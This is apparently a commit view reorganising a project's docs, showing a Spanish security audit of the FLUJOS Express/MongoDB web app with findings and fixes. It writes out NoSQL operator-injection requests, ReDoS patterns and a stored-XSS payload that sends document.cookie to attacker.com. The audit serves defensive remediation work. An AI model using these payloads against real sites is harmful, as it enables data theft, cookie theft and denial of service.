refactor: reorganizar docs y pocs bajo INFO/

- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown)
- FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura)
- POCS/ → INFO/POCS/ (pruebas de concepto)

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
CAPITANSITO 2026-04-21 23:49:33 +02:00
parent 83f67b76b4
commit 954f47996f
33 changed files with 0 additions and 0 deletions

View file

@ -0,0 +1,205 @@
# Informe de Seguridad — FLUJOS
**Fecha:** 2026-04-21
**Auditor:** Análisis de código estático + pruebas manuales en local
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
---
## Resumen ejecutivo
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado **2 vulnerabilidades críticas** explotables ahora mismo, 3 altas y 2 medias.
---
## Vulnerabilidades encontradas
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 5772
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
**Vectores explotables:**
```
GET /api/data?tema[$ne]=nada&nodos=500
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
GET /api/data?tema[$gt]=&nodos=500
→ Equivalente a "todos los documentos donde tema > ''"
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
→ Itera toda la subcolección
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
→ Fuerza error de tipo, puede revelar stack traces en logs
```
**Fix (10 min):**
```javascript
// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
if (typeof val !== 'string') return undefined;
return val.trim();
}
const tema = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
```
---
### 🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
**Estado:** CONFIRMADA. `ss -tlnp` muestra `0.0.0.0:3000`.
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
```
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
```
**Fix (1 línea):**
```javascript
// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
```
---
### 🟠 ALTA 1 — XSS Almacenado (Stored XSS)
**Archivo:** `FLUJOS/VISUALIZACION/public/output_int_sec.js` línea 9092
**Archivo:** `FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html` líneas 88, 102
El contenido de nodos (`content`) proveniente de MongoDB se inserta con `innerHTML`:
```javascript
detailPanel.innerHTML = `
<h2>Detalle</h2>
<pre>${content || 'No hay contenido disponible.'}</pre>
`;
```
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (`<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>`), se ejecuta en el navegador de todos los visitantes.
**Fix:**
```javascript
const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);
```
---
### 🟠 ALTA 2 — ReDoS via `$regex` sin sanitizar
**Archivo:** `FLUJOS_APP.js` línea 72
```javascript
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
```
Un patrón como `(a+)+$` o `(.*a){20}` puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
**Fix:**
```javascript
if (palabraClave) {
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave inválida' });
return;
}
// Escapar metacaracteres regex
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}
```
---
### 🟠 ALTA 3 — Sin rate limiting
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
**Fix:**
```bash
npm install express-rate-limit
```
```javascript
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 60, // 60 peticiones por minuto por IP
standardHeaders: true,
legacyHeaders: false,
}));
```
---
### 🟡 MEDIA 1 — CSP con `unsafe-inline`
La CSP actual permite `'unsafe-inline'` en `scriptSrc`. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
Origen del problema: los `<script>` inline en los HTML (fade-out del fondo, setTimeout).
**Fix:** Mover ese JS inline a ficheros `.js` separados y eliminar `'unsafe-inline'` del CSP.
---
### 🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
Solo se usa `helmet.contentSecurityPolicy()`, dejando otras protecciones de Helmet desactivadas. La cabecera `X-Powered-By: Express` está visible, revelando el stack.
**Fix:**
```javascript
app.use(helmet()); // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
```
---
## Lo que está bien
| Componente | Estado |
|---|---|
| HTTPS con Let's Encrypt | Activo en nginx |
| MongoDB en 127.0.0.1 | No expuesto al exterior |
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) || 100, 500)` |
| Helmet CSP básico | Activo |
| No hay SQL injection | BD es MongoDB, no SQL |
| No directory listing en /wiki-images/ | Express static lo rechaza |
| HTTP → HTTPS redirect | Configurado en nginx |
---
## Configuración nginx relevante (theflows.net)
```
/etc/nginx/sites-enabled/theflows.net
├── HTTP :80 → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
```
**Problema:** el backend Node también escucha en `0.0.0.0:3000`, así que nginx solo es un proxy opcional, no obligatorio.
---
## Orden de prioridad de fixes
| # | Vulnerabilidad | Impacto | Esfuerzo |
|---|---|---|---|
| 1 | NoSQL Injection | CRÍTICO | 10 min |
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
| 4 | ReDoS via palabraClave | ALTO | 10 min |
| 5 | Rate limiting | ALTO | 15 min |
| 6 | CSP unsafe-inline | MEDIO | 30 min |
| 7 | Helmet completo | MEDIO | 5 min |